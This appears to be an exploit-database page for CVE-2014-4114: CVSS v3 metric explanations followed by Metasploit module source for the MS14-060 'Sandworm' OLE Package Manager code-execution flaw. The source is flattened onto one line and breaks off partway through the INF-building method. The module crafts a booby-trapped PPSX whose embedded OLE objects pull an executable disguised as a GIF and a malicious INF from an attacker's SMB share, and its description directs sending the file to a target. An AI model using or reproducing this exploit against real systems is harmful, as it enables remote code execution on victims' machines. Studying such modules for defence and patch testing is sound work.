Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => "MS14-060 Microsoft Windows OLE Package Manager Code Execution", 'Description' => %q{ This module exploits a vulnerability found in Windows Object Linking and Embedding (OLE) allowing arbitrary code execution, publicly known as "Sandworm". Platforms such as Windows Vista SP2 all the way to Windows 8, Windows Server 2008 and 2012 are known to be vulnerable. However, based on our testing, the most reliable setup is on Windows platforms running Office 2013 and Office 2010 SP2. And please keep in mind that some other setups such as using Office 2010 SP1 might be less stable, and sometimes may end up with a crash due to a failure in the CPackage::CreateTempFileName function. This module will generate three files: an INF, a GIF, and a PPSX file. You are required to set up a SMB or Samba 3 server and host the INF and GIF there. Systems such as Ubuntu or an older version of Winodws (such as XP) work best for this because they require little configuration to get going. The PPSX file is what you should send to your target. In detail, the vulnerability has to do with how the Object Packager 2 component (packager.dll) handles an INF file that contains malicious registry changes, which may be leveraged for code execution. First of all, Packager does not load the INF file directly. But as an attacker, you can trick it to load your INF anyway by embedding the file path as a remote share in an OLE object. The packager will then treat it as a type of media file, and load it with the packager!CPackage::OLE2MPlayerReadFromStream function, which will download it with a CopyFileW call, save it in a temp folder, and pass that information for later. The exploit will do this loading process twice: first for a fake gif file that's actually the payload, and the second for the INF file. The packager will also look at each OLE object's XML Presentation Command, specifically the type and cmd property. In the exploit, "verb" media command type is used, and this triggers the packager!CPackage::DoVerb function. Also, "-3" is used as the fake gif file's cmd property, and "3" is used for the INF. When the cmd is "-3", DoVerb will bail. But when "3" is used (again, for the INF file), it will cause the packager to try to find appropriate handler for it, which will end up with C:\Windows\System32\infDefaultInstall.exe, and that will install/run the malicious INF file, and finally give us arbitrary code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Vulnerability discovery 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ], 'References' => [ ['CVE', '2014-4114'], ['OSVDB', '113140'], ['MSB', 'MS14-060'], ['BID', '70419'], ['URL' , 'http://www.isightpartners.com/2014/10/cve-2014-4114/'], ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-windows-zero-day-vulnerability-cve-2014-4114-aka-sandworm/'], ['URL', 'http://blog.vulnhunt.com/index.php/2014/10/14/cve-2014-4114_sandworm-apt-windows-ole-package-inf-arbitrary-code-execution/'] ], 'Payload' => { 'Space' => 2048, 'DisableNops' => true }, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Targets' => [ ['Windows 7 SP1 / Office 2010 SP2 / Office 2013', {}], ], 'Privileged' => false, 'DisclosureDate' => "Oct 14 2014", 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']), OptString.new('UNCPATH', [ true, 'The UNC folder to use (Ex: \\\\192.168.1.1\\share)' ]) ], self.class) end def exploit @unc = validate_unc_path if @unc.nil? fail_with(Failure::BadConfig, "UNCPATH must be a remote shared folder") end print_status("Creating the EXE payload...") payload_name = "#{rand_text_alpha(4)}.gif" p = generate_payload_exe print_status("Creating the INF file...") inf_name = "#{rand_text_alpha(4)}.inf" inf = inf_file(payload_name) print_status("Creating '#{datastore['FILENAME']}' file ...") exe_stream = ole_exe(payload_name) inf_stream = ole_inf(inf_name) zip = zip_ppsx(exe_stream, inf_stream) file_create(zip) payload_path = my_file_create(p, payload_name) print_good("#{payload_name} stored at #{payload_path}, copy it to the remote share: #{@unc}") inf_path = my_file_create(inf, inf_name) print_good("#{inf_name} stored at #{inf_path}, copy it to the remote share: #{@unc}") end def validate_unc_path if datastore['UNCPATH'] =~ /^\\{2}[[:print:]]+\\[[:print:]]+\\*$/ unc = datastore['UNCPATH'] else unc = nil end unc end def my_file_create(data, name) ltype = "exploit.fileformat.#{self.shortname}" path = store_local(ltype, nil, data, name) path end def zip_ppsx(ole_exe, ole_inf) zip_data = {} data_dir = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4114', 'template') Dir["#{data_dir}/**/**"].each do |file| unless File.directory?(file) zip_data[file.sub(data_dir,'')] = File.read(file) end end # add the otherwise skipped "hidden" file file = "#{data_dir}/_rels/.rels" zip_data[file.sub(data_dir,'')] = File.read(file) # put our own OLE streams zip_data['/ppt/embeddings/oleObject1.bin'] = ole_exe zip_data['/ppt/embeddings/oleObject2.bin'] = ole_inf # create the ppsx ppsx = Rex::Zip::Archive.new zip_data.each_pair do |k,v| ppsx.add_file(k,v) end ppsx.pack end def ole_inf(file_name) content = "EmbeddedStg2.txt\x00" content << "#{@unc}\\#{file_name}\x00" data = [content.length].pack('V') data << content ole = create_ole("\x01OLE10Native", data) ole end def ole_exe(file_name) content = "EmbeddedStg1.txt\x00" content << "#{@unc}\\#{file_name}\x00" data = [content.length].pack('V') data << content ole = create_ole("\x01OLE10Native", data) ole end def create_ole(stream_name, data) ole_tmp = Rex::Quickfile.new('ole') stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE) stm = stg.create_stream(stream_name) stm << data stm.close directory = stg.instance_variable_get(:@directory) directory.each_entry do |entry| if entry.instance_variable_get(:@_ab) == 'Root Entry' # 02260200-0000-0000-c000-000000000046 # Video clip clsid = Rex::OLE::CLSID.new("\x02\x26\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46") entry.instance_variable_set(:@_clsId, clsid) end end # write to disk stg.close ole_contents = File.read(ole_tmp.path) ole_tmp.close ole_tmp.unlink ole_contents end def inf_file(gif_name) inf = <<-EOF ; 61883.INF ; Copyright (c) Microsoft Corporation.
